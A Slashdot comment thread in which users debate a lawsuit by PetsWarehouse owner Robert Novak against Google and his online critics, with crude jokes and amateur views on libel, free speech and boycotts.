    In the end, my guess is that the case can not hold in the supreme court, if it ever gets there. if he wins a few cases it's probably because he's got tons of money to spend on lawyers or just some very good lawyers, or everyone else's lawyers suck.

    1. Re:Free speech vs Intentionally-damaging speech... by Anonymous Coward · · Score: 0

      if beyond any reasonable doubt the guy can prove that the people who made the first comments made them with the premeditated malicious intention of bringing down his business, then that's another matter.

      What does that matter? As long as they didn't say anything that they knew to be false, they are perfectly free to try to bring down his business. If we can't say anything bad about someone, even if its true, then free speech is meaningless.

    2. Re:Free speech vs Intentionally-damaging speech... by Anthony+Boyd · · Score: 3, Insightful
      However, *maybe* (and I repeat, just maybe), if beyond any reasonable doubt the guy can prove that the people who made the first comments made them with the premeditated malicious intention of bringing down his business, then that's another matter.

      Uhh, no. That's word-of-mouth. Right now there is a guy standing in front of the car dealership at the corner of Steven's Creek and Lawrence. He's got a sign that says "don't buy cars here." He is actively and deliberately attempting to put the car dealership out of business. He has made no false statements. The car dealership can do nothing about this (aside from getting him moved off their property, so he's out on the sidewalk). "Intent to damage" is not only legal in the USA, it's protected speech. Perhaps you're confusing it with libel or slander?

    3. Re:Free speech vs Intentionally-damaging speech... by edrugtrader · · Score: 1, Troll

      seriously, don't buy cars there. i heard from some guy with a sign...

      ARE YOU A PHP DEVELOPER? WORK WITH ME AND MAKE MILLIONS!
      Web Developer II

      --
      MARIJUANA, SHROOMS, X: ONLINE?! - E
    4. Re:Free speech vs Intentionally-damaging speech... by muzthe42nd · · Score: 1

      (if that holds in court, Microsoft could be suing the slashdot parent company on the basis that they're hosting anti-microsoft discussions by some users). hey, stop giving microsoft their ideas, they have their own legal department for that.

      --
      Pfft - Sorry, what?
    5. Re:Free speech vs Intentionally-damaging speech... by Dynedain · · Score: 2

      If the guy's sign said "Don't buy here, they are slimey racist pedophilic scam artists." Then that would be slander/libel. I believe this what the original poster meant. We already assumed the comments were slanderous, he was just clarifying that they had premeditated malicious intention of bringing down his business.

      --
      I'm out of my mind right now, but feel free to leave a message.....
    6. Re:Free speech vs Intentionally-damaging speech... by 0x0d0a · · Score: 2

      I vaguely remember some sort of rules that applied to large corporations attempting to drive other companies out of business, rather than "fairly compete with them". Predatory pricing was one of the things that fell under this category.

      I'm fairly sure that this doesn't apply in this case.

    7. Re:Free speech vs Intentionally-damaging speech... by Anonymous Coward · · Score: 0

      Glad to see you fixed the spelling error in your marketing message.

  44. Mistake in comments (Pet vs. Pets Warehouse) by vondo · · Score: 5, Informative
    I was pretty confused reading the original comment.

    The comments are about "Pet Warehouse", which is here while the link is for Pets Warehouse.

    What happened, according to the Salon article, linked in the original /. article is that the "s" was left off.

    More understandable since Pet Warehouse is a reputable outfit predating the dotcom boom. I've dealt with them lots of times.

    1. Re:Mistake in comments (Pet vs. Pets Warehouse) by clonebarkins · · Score: 2, Interesting

      So the question is, can Pet Warehouse sue Pets Warehouse for tradename infringement and for being a total ass?

      --

      "The evil of the world is made possible by nothing but the sanction you give it." -- Ayn Rand

    2. Re:Mistake in comments (Pet vs. Pets Warehouse) by Chris+Shiflett · · Score: 1

      Yeah, the guy made an error in his comment. He actually did in fact mean to speak poorly about Pets Warehouse, not Pet Warehouse.

      He later made an apology about the error.

    3. Re:Mistake in comments (Pet vs. Pets Warehouse) by maxwells+daemon · · Score: 1

      I actually thought the headline refered to pestwarehouse.

    4. Re:Mistake in comments (Pet vs. Pets Warehouse) by Matt_in_NH · · Score: 1

      Too late, Novak (Pets Warehouse) already tried suing Pet Warehouse for trademark infringement.

    5. Re:Mistake in comments (Pet vs. Pets Warehouse) by Fjord · · Score: 2

      Pet Warehouse should sue for trademark infringement. It is pretty obvious that
      a) consumers are getting confused between the two names
      b) the owner of petswarehouse is taking actions that could harm the reputation of Pet Warehouse as a result of that confusion.

      --
      -no broken link
  45. Open Letter to Google by Anonymous Coward · · Score: 0

    Dear Google:

    You are our last hope. Please don't let something like this stand. You have the money to assemble a powerful legal team and the reputation that would give weight to your assertions. You must defeat this individual, otherwise the basic tenets of Free Speech shall fall by the wayside. We as the internet community, as the world community stand by you in your fight and are willing to shed blood on the legal battle field with you. If nothing else, expose this person for who they really are, expose the true enemys of freedom, liberty and justice for all.

    Concerned Google User

  46. Congratulations by Superfreaker · · Score: 1

    Everyone who responded to this thread will be sued in round 4 of the lawsuit :-)

  47. Whatch it! by jonr · · Score: 2

    Now he will sue you and Slashdot! And Rob and his dog! Shame on you! :

    1. Re:Whatch it! by lewp · · Score: 1

      Maybe I'm really Robert Novak and I'm just pretending to think he's insane so I can post mean comments and sue Slashdot. Or maybe that's just what I want you to think. Or maybe that's just what I want you to think... I want you to think... or something?

      No, he's really crazy.

      Besides, there's no money to get out of VA Software anyway :).

      --
      Game... blouses.
    2. Re:Whatch it! by SmurfButcher+Bob · · Score: 1

      Dammit, now he's gonna sue me because I viewed this via a caching proxy... and I didn't even post anything! damn you!

      - SBB

      --

      help me i've cloned myself and can't remember which one I am

  48. Hope the Jury isn't Retarded by Anonymous Coward · · Score: 0

    The docket info says that he demanded a jury trial. It would be nice to see his charges laughed at by the jury and see him denied on this crap. The whole XXXsucks.com thing is kind of like this, right? Plaintiff says Soandso is such a mean poopy-head, he's calling me names. So what? Go away! Sheeesh.

  49. "The New PetsWarehouse.com now owned by Google" by techstar25 · · Score: 2

    He made a big mistake this time. Google is going to kick his ass and countersue and before we know it we're going to see "PetsWarehouse.com now owned by Google". Right now I'm assembling a ravenous, drooling, insane mob of /. firstposters to go down to his store and rough him up.

    1. Re:"The New PetsWarehouse.com now owned by Google" by gl4ss · · Score: 1

      "PetsWarehouse.com now owned by Google".
      would make it look so civilised.. and like a normal acquirement.. '4ll y3r p3z aR3 0000wN3d dUUd3!!!!!!' sounds a lot better for this purpose.

      --
      world was created 5 seconds before this post as it is.
    2. Re:"The New PetsWarehouse.com now owned by Google" by dildatron · · Score: 1

      Google is way too smart as a company to have such a crappy business be associated with them!

      --


      If you had nuts on your chin, would they be chin nuts?
    3. Re:"The New PetsWarehouse.com now owned by Google" by jonadab · · Score: 2

      > Google is way too smart as a company to have such a crappy
      > business be associated with them!

      True, but I bet they can make him pay their legal costs in
      the matter. Seriously, this guy's a small fry, and Google
      is... well, I don't know for sure exactly how large Google
      is, but I know they're large enough to pay the monthly bill
      on all the bandwidth of a major search engine, plus the
      storage and maintenance costs (and backup, presumably) for
      archiving all the non-binary parts of usenet, so I'd say they
      ought to be able to drown this guy in a fair-sized sea of
      legal action, just for precedent value if nothing else. It
      is surely in their best financial interests to put a quick
      preemptive halt to anyone frivolously suing them over silly
      stuff like this. Plus, Google is sufficiently high-profile,
      that if they settle, they're going to be sued a lot of times.
      They can't afford that. So not only can they afford to defend
      themselves on this, I'd say they about _have_ to do so.

      I said before that PetsWarehouse was being stupid; now there's
      no question.

      --
      Cut that out, or I will ship you to Norilsk in a box.
  50. give the guy a break by MDL · · Score: 1

    You'd be bitter too if you got ass pounded every single day of your high school career.
    Struggling to put it behind him he did the perfect thing: opened up an internet store (hey you don't have to see the customers!)
    Now he's getting ass pounded on the internet.

    which is fine by me...

  51. Now hes going to go after after slashdot... by seibed · · Score: 1

    and everyone who has posted on this thread!!

    seibed

  52. Pets? Web? by Tablizer · · Score: 1


    Somebody actually survived the web pet supplies business?

    Does that mean I can bring my sock puppets back out from the basement?

  53. Little easy big hard? by MrNovember · · Score: 2

    Wasn't it this guys MO to sue "little guys" who don't have the resources to fly to Alabama and fight it? Doesn't he think he's going to get in trouble suing bigger companies?

    I would think they could countersue for some reason like "Mr. Novak is irritating" (say in California) and cost him bundles of $$.

    1. Re:Little easy big hard? by DustMagnet · · Score: 2
      You see this happen all the time. Many criminals don't know when to stop. They just keep commiting bigger and bigger crimes until BAM they get nailed.

      I know this guy's not a criminal, but IMHO it's the same kind of antisocial behavior.

      --
      'SBEMAIL!' is better than a goat!!
  54. Who in the hell is Robert Novak? by Robber+Baron · · Score: 2

    Not that talking head that gained notoriety during the OJ debacle, is he?

    Well anyway, Fuck Novak and fuck Petswhorehouse (preferably with a broom handle)! I'm glad he's decided to sue Google...maybe they'll give him the bitchslapping that he so richly deserves!

    --

    You're using her as bait, Master!

    1. Re:Who in the hell is Robert Novak? by Flamerule · · Score: 2
      No...

      The Robert Novak you're thinking of is the sometimes competent and sometimes wildly partisan conservative columnist and talking head.

      The Robert Novak in this story is a sociopathic bully and owner of a horrible online pet store (/., please).

  55. Sorry. by DAldredge · · Score: 4, Funny

    You can't. I have a pending patent on the underlying method used is "suing everybody"

    1. Re:Sorry. by User+956 · · Score: 5, Funny

      You can't. I have a pending patent on the underlying method used is "suing everybody"

      That's too bad, because that infringes on my existing patent of "suing everybody" using the internet.

      --
      The theory of relativity doesn't work right in Arkansas.
    2. Re:Sorry. by Anonymous Coward · · Score: 0

      Sorry to both of you. My patent covers the act of performing any legal action which using a computer or other similiar electronic device that can communicate solely or with other similiar devices for the purpose aforementioned. You both owe me infringment damages.

    3. Re:Sorry. by Archie+Steel · · Score: 2

      Sorry, guys, but I've trademarked the letter "e". You both owe me big time and I'll sue you if you don't pay (try defending yourself without using the letter "e")!

      :-)

      --

      Reminder: find a new sig
    4. Re:Sorry. by OneEyedApe · · Score: 1

      Actually, an entire book in english has been written without using the letter "e".

      --
      Life sucks, but death doesn't put out at all....
      --Thomas J. Kopp
    5. Re:Sorry. by Archie+Steel · · Score: 2

      I knew of a book in french, called "La disparition" by Georges Perec (no e in the title, but four in his name). What's the english book?

      --

      Reminder: find a new sig
    6. Re:Sorry. by mmol_6453 · · Score: 2

      Without a mention of the fact in its foreward, obviously. :)

      --
      What's this Submit thingy do?
    7. Re:Sorry. by Anonymous Coward · · Score: 0

      http://www.villagevoice.com/issues/0232/edpark.php

      wonders of google "book without the letter e"

      Seth Woolley

    8. Re:Sorry. by Versix · · Score: 1

      Gilbert Adair translated that whole book into English, and called it "A Void". It doesn't use the letter 'e' either.

    9. Re:Sorry. by bovinewasteproduct · · Score: 3, Funny

      You can't. I have a pending patent on the underlying method used is "suing everybody"

      Huh? I thought Scientology had that one already?

      BWP

    10. Re:Sorry. by Anonymous Coward · · Score: 0

      Hold on one cotton pickin' minute!

      I hope you're not thinking of using a computer - that would infringe my patent on "suing everybody" using the internet and a computer.

      [sigh] If only it weren't so laughably plausible...

  56. Hmm... by RareHeintz · · Score: 2
    So now, will Slashdot get sued for running a story on this litigious idiot? Will I be sued now, for calling this litigious idiot a "litigious idiot"? Or for expressing that I have a heart full of hate for dimwits like Novak and I will be encouraging every pet owner I know to boycott his online store and spread the word about his stupid and cruel blackmail game?

    OK,
    - B

  57. the best defense... by GutterBunny · · Score: 4, Insightful

    ...is a good offense.

    Perhaps a good round of public boycott will enough to deter Mr. Novak from suing anyone who criticizes his store. Start by emailing all your pet-owning friends and informing them of what has happened. Ask them to stop purchasing from Petswearhouse until this kind of senseless lawsuit'ing has stopped... Also perhaps a /.'er can provide a simpler summary on his/her his web page for reference. In addition to the defense fund's site. We also may wish to provide links to the mailing list comments that started this.

    Basically give people information to make an informed decision.

    --
    managers...why god invented purgatory
    1. Re:the best defense... by Anonymous Coward · · Score: 0

      hmmm

      when I read your message, I thought it started
      with 'is good COFFEE'

      which sounds good to me, so I'll go make some.

      thanks!

    2. Re:the best defense... by Anonymous Coward · · Score: 0

      Start by emailing all your pet-owning friends and informing them of what has happened

      Great...more spam. Thanks.

    3. Re:the best defense... by Soko · · Score: 5, Interesting

      In the same vein, I'm tempted to do something like this...

      Dear PetsWarehouseSupplier Inc.:

      Hello. I would like to tell you that one of your dealers, namely PetsWarehouse.com, is costing you business.

      Mr. Novak, the proprieter of said business, is in my humble opinion more about litigation against paying customers than about providing a proper venue for distributing your fine products to the public. Customers who complained publicly to others when they received poor customer service from his web based business, are being sued for $15,000,000.

      Unfortunately for you, your product is prominetely displayed on the homepage of PetsWarehouse.com. As such, I conclude that you are sympathetic to Mr. Novaks lawsuits, which in my opinion are frivilous and only intended to stifle free speech and the exchange of opinions. I refuse to support any business which holds this view, so I will, in the future, refrain from purchasing any product from you, your subsidiaries or any other company affiliated with your products.

      Thank you for your time,

      Signed

      A Former Potential Customer.

      About the same as you suggest, just approaching the problem from the other end.

      Soko

      --
      "Depression is merely anger without enthusiasm." - Anonymous
    4. Re:the best defense... by Elwood+P+Dowd · · Score: 3, Insightful

      Even better would be to link to his competitors in your email.

      That way you won't accidentally help him by giving him free publicity.

      Also, make sure that you don't *actually* commit libel. State only facts that you know to be true. That's a higher standard than defamation or libel requires, but he could sue you anyway. You don't have to be correct in order to sue. And IANAL.

      --

      There are no trails. There are no trees out here.
    5. Re:the best defense... by zoombat · · Score: 2
      Perhaps a good round of public boycott will enough to deter Mr. Novak from suing anyone who criticizes his store.

      Nope. He doesn't care about his store. He cares about suing people to make a lot of money. Someone's got to figure out a way to keep him from being able to sue people. Like pass a law, or sue him for something.

    6. Re:the best defense... by Anonymous Coward · · Score: 0

      Dumbest. Post. Ever.

      A former *potential* customer? "Oh well I don't have any pets and didn't plan on buying anything from your website.. But just because of this, I'll make sure I DON'T! NYA!"

      Whatever.

    7. Re:the best defense... by "Zow" · · Score: 3, Insightful

      I don't think that's very effective. Here's why:

      1. You were only a "Potential Customer" to begin with. They aren't loosing established business.
      2. You have flat out stated that you are not going to buy their product. They've lost you as a (potential) customer and nothing they do now is going to change that.
      3. The pet supply market (at least for cats, which is where a good chunk of my income goes :-) consists of a couple huge companies like Iams and Science Diet (both of which I believe are owned by even larger conglomerates), and a lot of tiny, botique-type brands. The big guys aren't going to care much what you think about one lone distibuter who accounts for .001% of their sales, and the small guys are fighting to sell where ever they can, so they don't want to cut off what is probably a significant revinue source.
      4. Likewise, the companies probably have very little say in what goes on the frontpage of this minor Internet merchant. I imagine the conglomerants could demand to be on the frontpage if they so desired, but it's probably not worth their time.
      5. These companies have much more important ethical issues to deal with right now, like if they should continue to supply retailers that are facing charges of animal abuse, not just some clown who's gone sue-happy.

      -"Zow"

    8. Re:the best defense... by Anonymous Coward · · Score: 0

      He's actually suing some people for doing this.

    9. Re:the best defense... by pough · · Score: 1

      ... will be needed. Isn't this how all the others got sued? Essentially, providing ANYONE with "information to make an informed decision" in ANY fashion will result in a lawsuit. Perhaps it would be possible to provide info on a website located outside the US, but keep in mind that Ford still tried to sue that guy in Sweden for having, get this: a PRO-Volvo site. (Volvo is owned by Ford) I'm not an American, but I would highly recommend that those of you who are put pressure on your government to change laws so that the losers of court cases pay all fees. It would put a stop to a lot of frivolous suits. Frivolous suits... is that a pun?

    10. Re:the best defense... by u-235-sentinel · · Score: 1

      Sad that we live in a world that allows this sort of fool to make another's life painful using our very own court system.

      You know.. I recently purchased a dog and considered petswarehouse.com for dog food and other needs. Having read this I can assure people that petswarehouse.com will not see a penny from me.

      Most of my family and friends have animals and have asked about these online stores. This sort of stupidity has cost this idiot many potential customers.

      Oh yeah.. and this is just an opinion based on observation. When I'm sued I'll ask him to be less of a dumbass. Maybe I can even get a book deal out of it ;-)

      --
      Has Comcast disconnected your Internet account? Same here. You can read about it at http://comcastissue.blogspot.com
    11. Re:the best defense... by runchbox · · Score: 1

      Who had even heard of this company before these lawsuits? I've never seen advertisements, its a sole proprietorship, so there's no capitalization. I'd be willing to bet that he's made more money off the lawsuits than he has on the web site, (particularly now that it's down).

      --
      If voting changed anything, they'd make it illegal -- Jello Biafra
  58. What did you expect? by WIAKywbfatw · · Score: 5, Insightful

    In such a litigious society, where lawyers chase after every dollar they can, and where "greed is good" is a mantra, is anyone truly surprised at this?

    It's a sad reflection of American society that it has turned into a victim culture where nobody is ever to blame for their own shortcomings but is instead a victim of the malignant actions of anyone or everyone else.

    It's an easy out - why bother seriously examining where your business plan was flawed or where your process broke down when you can simply point the finger at someone else and say "I would have succeeded if it wasn't for you".

    Part of the problem is that there is little to discourage malicious and/or spurious litigation. Some sort of penalty for repeatedly taking out this sort of action would be helpful but it's hard to imagine that happening any time soon.

    The fact is that many companies will rather settle lawsuits like these ones before they get to court even if they are without merit. The rationale behind this is ironic - lawsuits (even ridiculous ones) bring down share prices, and which "greed is good" CEO is going to let that happen for the sake of a few thousand dollars?

    --

    "Accept that some days you are the pigeon, and some days you are the statue." - David Brent, Wernham Hogg
    1. Re: What did you expect? by pjrc · · Score: 4, Interesting
      In such a litigious society, where lawyers chase after every dollar they can...

      That's rather unfair, as Robert Novak is neither a lawyer or a reasonable sample of the society at large.

      Quoting from this Long Island Business News article:

      The old saw says that an attorney who represents himself has a fool for a lawyer. Whoever made that up didn't envisage Novak, who is serving as his own lawyer. Novak doesn't have a law degree, but he is an old hand at legal wranglings. Talk to him and he cites case law, chapter and verse.

      "It's my hobby," he said.

      Novak was able to consolidate the case in federal court. "It's only five miles for me," he said. "All these people have to come here at their own expense."

      If all the info on the net is true (virtually all is posted by defendants), we can only hope the defendants ask the court to fine him, or some of them file an anti-slapp suit against him.

      But that won't happen without donations to the defense fund, or someone with deep pockets and an interest in free speech on the internet (google??) gets involved and makes an example of Robert Novak.

    2. Re:What did you expect? by Anonymous Coward · · Score: 0

      "I would have succeeded if it wasn't for you"

      And I would have gotten away with it, if it wasn't for you meddling forum posters and that stupid search engine!

    3. Re:What did you expect? by Anonymous Coward · · Score: 0

      where "greed is good" is a mantra

      It's called capitalism. Get used to it.

      Frivolous lawsuits are another matter, but as long as they're profitable, they will exist.

  59. Bullies by SJS · · Score: 2

    I bet he was teased in high school and wants to get back at all the bullies.

    There's nothing wrong with getting back at the bullies of one's youth. More likely, he was a bully in High School and wants to regain that youthful feeling of power.
    --
    Pick One: http://www-rohan.sdsu.edu/~stremler/sigs/sigs.html (Note - disable Javascript first!)
    1. Re:Bullies by Anonymous Coward · · Score: 0


      > There's nothing wrong with getting back at the bullies of one's youth.

      Yeah, that's why Rumsfeld and Cheney are so hot and bothered about Saddam Hussein.

    2. Re:Bullies by Anonymous Coward · · Score: 0

      A bully enjoying his vacation
      Oblivious to all our confrontations
      Speaking fondly of his junior years
      When I was fighting tears
      A bully enjoying his vacation

      I can taste the anger and the hate
      I have come to set the record straight
      Twenty years seems long enough to wait
      A bully enjoying his vacation

      Cruising with my nemesis on high seas
      Five drinks, he doesn't recognize me
      Full of anticipation
      I don't notice his depression
      Cruising with my nemesis on high seas

      My act of concern is just to tease
      I'm about to send him to his knees
      So close to force him begging please
      He mentions terminal disease
      A bully enjoying his vacation

      And how he feels someone is dangling
      His vile existence on a string
      And now the sea he's conquering
      Knows he can conquer anything
      A bully enjoying his vacation

      Aware of his terminal condition
      Frustrated by my indecision
      Knowing I'd regret this very day
      I hit him anyway
      Aware of his terminal condition

      Once again, he got the best of me
      I left him conquering the sea
      A bully enjoying his vacation

    3. Re:Bullies by Anonymous Coward · · Score: 0

      Most bullies are bullied by someone bigger and just pass it along. So he could be both.

  60. Sued for A'Slashdottin ? by superid · · Score: 4, Funny
    PetsWarehouse is currently crawling, as expected. Has anyone ever sued for being slashdotted?

    "slashdottin my site? thats a paddle'in" (jasper)

    1. Re:Sued for A'Slashdottin ? by haa...jesus+christ · · Score: 0, Offtopic

      "slashdottin my site? thats a paddle'in" (jasper)

      that's easily the funniest reference to the slashdot effect i've ever seen.

    2. Re:Sued for A'Slashdottin ? by Ubergrendle · · Score: 5, Funny

      Whoops...did I accidentally reconfigure our company's performance testing environment load generators to point outbound to the internet instead of inbound? I hope somebody can sustain 2000 additional user sessions per minute... :)

      --
      John Maynard Keynes: "When the facts change, I change my mind. What do you do?"
    3. Re:Sued for A'Slashdottin ? by Bilestoad · · Score: 1

      OK, we slashdotted him! Now support the members of the Aquatic Plants Digest by going here and buying a T-shirt or something - more than half of each purchase goes to their legal defense fund. And if you're on the east coast the asshole might even see you wearing it.

    4. Re:Sued for A'Slashdottin ? by Anonymous Coward · · Score: 0

      "Paddlin' the school canoe? That's a paddlin'."

    5. Re:Sued for A'Slashdottin ? by Anonymous Coward · · Score: 0

      2000 per *minute*? Surely your penis^H^H^H^Hpipe is bigger than that?

    6. Re:Sued for A'Slashdottin ? by Anonymous Coward · · Score: 0

      Holy blink tag Batman!

      What a shitty site.

  61. Pets Warehouse by N8F8 · · Score: 5, Funny

    Wonderfull name. Brings to mind a large building stuffed with pets from top to bottom. Hi-Lo's and Forklifts shuffling boxes of animals about. Over in the far rear corner is the "Scratch and Dent" bin full of great bargains.

    --
    "God fights on the side with the best artillery." - Napoleon, Marshal of France - speaking truth to power
    1. Re:Pets Warehouse by gmhowell · · Score: 2
      Over in the far rear corner is the "Scratch and Dent" bin full of great bargains.


      Where else do you think these two came from? I tried to return the one on the right because of the eyes, but it turns out there is a 'no return' policy in the bargain bin.

      --
      Jesus was all right but his disciples were thick and ordinary. -John Lennon
  62. Get a lawyer by lowkster · · Score: 1

    If you are reading this, consider yourself sued! Sincerely, Robert Novak

  63. PetsWarehouse isn't the only one. by ksplatter · · Score: 1

    Mr. Gates and M$ are probably filing a suit against half of the World.

    Free Speech is a wonderful thing

  64. Mistakes by j_kenpo · · Score: 3, Interesting

    Well the first mistakes were the people who settled. If the guy is representing himself, one good lawyer could easily outwit him in court (or maybe Im giving lawyers too much credit..). The guy is a public business, he is not immune from slander. What hes doing is the exact thing that pisses me off the most about things like the RIAA and BestBuys/Fry store policies, ect. Its companies telling us what we can and cannot do, no longer is the customer always right. Instead, we the consumers, are seen as stupid people who have to be put in our place by some snot nosed store clerk or some half assed executive hiding behind "company policy". BS... its on paper, paper does not bind us physically. This is exactly what this guy is trying to pull. he is trying to take away a consumers right to free speech. They shouldnt settle, they should just tell him to kiss their ass, and until the day that he can physically force them to not advertise the fact that a vendor did not come through with a promised transaction, he can take his lawsuit papers and shove them up his a$$. Second, they should have filed a complaint the Chamber of Commerce and the Better Business Bureua, thus having a registered and documented complaint against the company, then his lawsuit would have no grounds. Of course... maybe I should keep quite, he might try and sue me... oh no....

    1. Re:Mistakes by tomhudson · · Score: 2
      1. If he didn't fulfill orders in the manner promised, and the transaction took place over the internet, and it was in a state other than where he does business, doesn't this become a matter of wire fraud, and subject to investigation by the feds?

      2. Did he use the USPS for delivering and/or receiving goods/funds? If so, then maybe a few complaints to the postal inspectors as well?

    2. Re:Mistakes by j_kenpo · · Score: 2

      Actually thats true... it does become a Federal mater.... but since none of the people that settled knew that... they got screwed. There was a study done that tested peoples responses to a "official looking" person. Doctors, Lawyers, etc.. They had a person pretend to be something, and almost all the people responded to some silly requests without even questioning it, after all and "official" person requested it. This is simply one of those cases where you get an "official" sounding request and lawsuit, and they buckled not knowing this guy wasnt a real lawyer. If they had known that, they could have easily challenged it and gotten it thrown out of court.

  65. or we could just.. by gimpboy · · Score: 3, Interesting

    create a mirror on slashdot:

    I would like to voice my opinion about a company that I have had
    experience with, PetSwarehouse. Based on true experience, I feel that
    they suck. According to their Better Business Bureau rating of
    unsatisfactory (the bureau's lowest), I see that I am not alone in
    this opinion--a conclusion arrived to by factual data.
    Furthermore, I understand that free speech is right of all Americans,
    protected by the constitution.

    "Libel is injury to reputation.
    There is only one and unconditional defense to a civil action for
    libel: that the facts stated are PROVABLY TRUE." --AP Stylebook and
    Libel Manual.

    Reputations are earned from true experiences, not fabricated online,
    Mr. Novak. Everyone has the right to share and express their true
    experiences and the feelings and opinions drawn from these factual
    events.

    contribute to the defense fund: http://www.petsforum.com/psw/Fund.htm

    --
    -- john
    1. Re:or we could just.. by Steve+Franklin · · Score: 2

      One begins to wonder if this nimrod started the fish business so he could sue people. He's obviously not doing much for his business by broadcasting the fact that certain folks don't like his service. If he were really concerned about his reputation he'd keep his mouth shut. Bottom Line: Whacko.

      --
      Hic iacet Arthurus, rex quondam rexque futurus.
  66. New Google feature! by Alizarin+Erythrosin · · Score: 5, Funny

    New to Google! It's Google Pet Warehouse! Now you can search and purchase all your pet needs right from your favorite search engine!

    Want to know how we did it? Sure, we'll tell you! Some moron sued us and we won! We got his pet store and now it makes us a mint!

    --
    There are only 10 kinds of people in this world... those who understand binary and those who don't
    1. Re:New Google feature! by leviramsey · · Score: 2
      New to Google! It's Google Pet Warehouse! Now you can search and purchase all your pet needs right from your favorite search engine!
      Want to know how we did it? Sure, we'll tell you! Some moron sued us and we won! We got his pet store and now it makes us a mint!

      Will they have specials on pigeons?

    2. Re:New Google feature! by solarlux · · Score: 1

      "10" types of people?? Perhaps you should say: There are 10 types of people: those who know binary, those who don't, and those who can't count.

    3. Re:New Google feature! by Kintanon · · Score: 2

      You obviously fall into the second group then.

      Kintanon

      --
      Check out JoshJitsu.info for Brazilian Ji
    4. Re:New Google feature! by Hadean · · Score: 2

      This is the funniest thing I've read in days... *wipes tear from eye*

  67. I need to put this banner on my site! by rickg13 · · Score: 1

    Therefore I can look like a champion of free speech, get all the free publicity I need, and then sit back and let Google's lawyers squash this guy for me.

  68. Beer googles by SgtChaireBourne · · Score: 1
    Any commercial site that uses blink on their tags deserves to be shot dead.
    Google needs a filter to increase the attractiveness of really skanky sites either live or cached.

    It could be scalable. 0.00 would be unmodified. 0.02 could just mellow it out, strip the blink tags. 0.05 could get the major spelling errors. 0.08 could fix the color scheme and so on

    --
    Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.
    1. Re:Beer googles by Eristone · · Score: 1

      Neat idea - but then Google would be held liable for copyright infringement as the site would not be "displayed an the author's original intent". Although I wonder if they could get away with saying it's a parody...

  69. The difference is... by ACNeal · · Score: 1

    Point taken, but the difference here is he was never tried or convicted of having a crappy pet store. They aren't publishing facts, they are publishing opinions.

    He is suing for libel, defamation, or slander.

    And yes, if you print the opionions of someone else with the intent to cause them problems, then you can be sued.

    Did google intend to cause him problems?

    That is what the courts are there for. The fact that they published (is linking publishing? another discussion altogether, and that pesky cache clouds things considerably) the story gives him grounds for suit. He will more than likely lose, but only after having cost Google a lot of legal expenses.

    So his scheme appears to be "Which is cheaper, pay the settlement or pay the legal fees?"

    The fact that he is (has) forcing advertisment as part of the settlment gives me a reason to believe that he honestly thinks he was wronged, and this is a matter of principle to him (not (just?) money). Almost as bad as a holy war.

    1. Re:The difference is... by Lawbeefaroni · · Score: 1

      "The fact that he is (has) forcing advertisment as part of the settlment gives me a reason to believe that he honestly thinks he was wronged, and this is a matter of principle to him (not (just?) money)."

      Would seem to me that, as the idea of advertising is to gain more business, and the idea of more business is to make more money, he is clearly in it for the money. Now if he had asked for part of the settlement in donations to animal shelters or something, that I might see as a matter of principle.

      --
      "When it rains, it pours." --Morton's Salt
    2. Re:The difference is... by Anonymous Coward · · Score: 0

      m'kay, my analogy is screwy, I know.

      It should really be like this:

      he is suing google over news about his lawsuit (a legal action).

      Will an alleged pedophile sue cnn for reporting on his/her trial (another legal action)?

      Now, I think being able to sue someone over reporting the news (or whatever they're claiming googles done, I didn't read the article, yet), that seems inherintly wrong.

      And, as for libel/slander/defamation, here's how I think it's supposed to work. If you are stating your opinion backed up by honest a jesus facts (Such as, "it took them two weeks to process my order, when it was supposed to take 24 hours, then when they actually sent me my stuff, they sent the wrong thing. And then they wouldn't take it back, so, that's why I think their service sucks donkey balls") that's fine. Trying to pass off negative opinion as fact (which is what slander/libel cover, I think), an example being "These guys are the fucking worst ever. They just take your fucking money and don't send you what you ordered, hell, they intentionally break shit before they send it to you so it doesn't work!", that's wrong, and is indeed slander/libel. Defamation is spreading slander/libel with the intent to harm, which is bad.

      If I actually read any of this stuff, then I would be able to say if he's suing everyone for just telling other people about their experiences with his business, and their opinion of it (which would be incredibly fucking wrong), or if he's suing everyone because they're just saying bad shit about him so his business will fail and everone'll think he's a scam artist (in which case, he's prefectly right to sue).

    3. Re:The difference is... by Anonymous Coward · · Score: 0

      your example would probably be considered an opinion, because of the way it is stated, "these guys are the worst" = opinion, you cant expect that to be a fact.

      the "hell, they ...." would probably be covered as an opinion, maybe.

      the use of swear words would probably help qualify it as an opinion, where as saying "These guys are scam artists, they charged my credit card, but never sent the items" there is no sign of anger in that phrase.

      to be slander it not only has to be portraying false information as fact, it also has to be in a believable manner, ie tabloids, SNL (bush as a cokehead for instance) etc.

      If i stated, "I saw bush doing lines of coke last week" hello lawsuit, i am portraying something as fact.

  70. It's not a $15,000,000 lawsuit... by Haeleth · · Score: 1

    Read the complaint. He's demanding $15,000,001. How charmingly precise.

    1. Re:It's not a $15,000,000 lawsuit... by Flounder · · Score: 2
      Feels like The Price Is Right, when the contestants are guessing on the price of something. Somebody guesses $50, and the next person guesses $51.

      Of course, he could just need that extra buck to pay for the parking meter when he went to the courthouse to file the lawsuit.

      I'm thinking about filing a small claims court suit against him for abject stupidity. Let him come to Maryland and defend against it.

      Maybe we all should do this.

      --

      No boom today. Boom tomorrow. There's always a boom tomorrow. - Cmdr. Susan Ivanova

  71. Defamation in other Countries by okeby235 · · Score: 1

    Here is Western Australia not only is 'telling the truth' not a defence to defamation, but defamation is actually a crime!

    How about that! Not only can crack pots like this guy sue you, but the state can go after you!

    Of course, here we are not so law suit mad so all you would be awarded are pathetic amounts of damages like $20!

  72. Someone with money can finally stop this by Logic+Bomb · · Score: 2

    I think it's great Google was added to the suit. It'll take someone with reasonably deep pockets to get this guy's ridiculous witch hunt shut down.

  73. obligatory http://www.petswarehousesucks.com/ by SirSlud · · Score: 5, Informative

    here :)

    --
    "Old man yells at systemd"
    1. Re:obligatory http://www.petswarehousesucks.com/ by jachim69 · · Score: 1

      Somebody should register petswearhouse.com

  74. Cut his head off by dswan69 · · Score: 1

    I hope the court hammers this stupid, thieving little prick into the ground.

    Question is will those he has already stolen from be able to get back the money and domain names he has stolen?

  75. We can do that now by DDX_2002 · · Score: 1
